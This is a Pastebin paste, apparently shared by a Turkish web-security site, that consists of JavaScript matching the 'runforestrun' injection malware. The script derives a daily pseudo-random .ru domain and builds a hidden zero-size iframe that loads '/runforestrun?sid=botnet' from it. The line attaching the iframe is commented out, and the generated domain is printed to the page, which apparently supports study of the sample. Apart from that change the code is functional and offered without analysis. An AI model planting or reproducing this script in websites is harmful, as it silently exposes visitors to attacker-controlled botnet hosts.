Advertisement
Guest User

webguvenligi.net

a guest
Jul 8th, 2012
325
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <script>
  2. function nextRandomNumber() {
  3.     var hi = this.seed / this.Q;
  4.     var lo = this.seed % this.Q;
  5.     var test = this.A * lo - this.R * hi;
  6.     if (test > 0) {
  7.         this.seed = test;
  8.     } else {
  9.         this.seed = test + this.M;
  10.     }
  11.     return (this.seed * this.oneOverM);
  12. }function RandomNumberGenerator(unix) {
  13.     var d = new Date(unix * 1000);
  14.     var s = d.getHours() > 12 ? 1 : 0;
  15.     this.seed = 2345678901 + (d.getMonth() * 0xFFFFFF) + (d.getDate() * 0xFFFF) + (Math.round(s * 0xFFF));
  16.     this.A = 48271;
  17.     this.M = 2147483647;
  18.     this.Q = this.M / this.A;
  19.     this.R = this.M % this.A;
  20.     this.oneOverM = 1.0 / this.M;
  21.     this.next = nextRandomNumber;
  22.     return this;
  23. }function createRandomNumber(r, Min, Max) {
  24.     return Math.round((Max - Min) * r.next() + Min);
  25. }function generatePseudoRandomString(unix, length, zone) {
  26.     var rand = new RandomNumberGenerator(unix);
  27.     var letters = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z'];
  28.     var str = '';
  29.     for (var i = 0; i < length; i++) {
  30.         str += letters[createRandomNumber(rand, 0, letters.length - 1)];
  31.     }
  32.     return str + '.' + zone;
  33. }
  34. setTimeout(function () {
  35.     try {
  36.         if (typeof iframeWasCreated == "undefined") {
  37.             iframeWasCreated = true;
  38.             var unix = Math.round(+new Date() / 1000);
  39.             var domainName = generatePseudoRandomString(unix, 16, 'ru');
  40.             ifrm = document.createElement("IFRAME");
  41.             document.write(domainName);
  42.             ifrm.setAttribute("src", "http://" + domainName + "/runforestrun?sid=botnet");
  43.             ifrm.style.width = "0px";
  44.             ifrm.style.height = "0px";
  45.             ifrm.style.visibility = "hidden";
  46.             //document.body.appendChild(ifrm);
  47.            
  48.         }
  49.     } catch (e) {}
  50. }, 500);</script>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement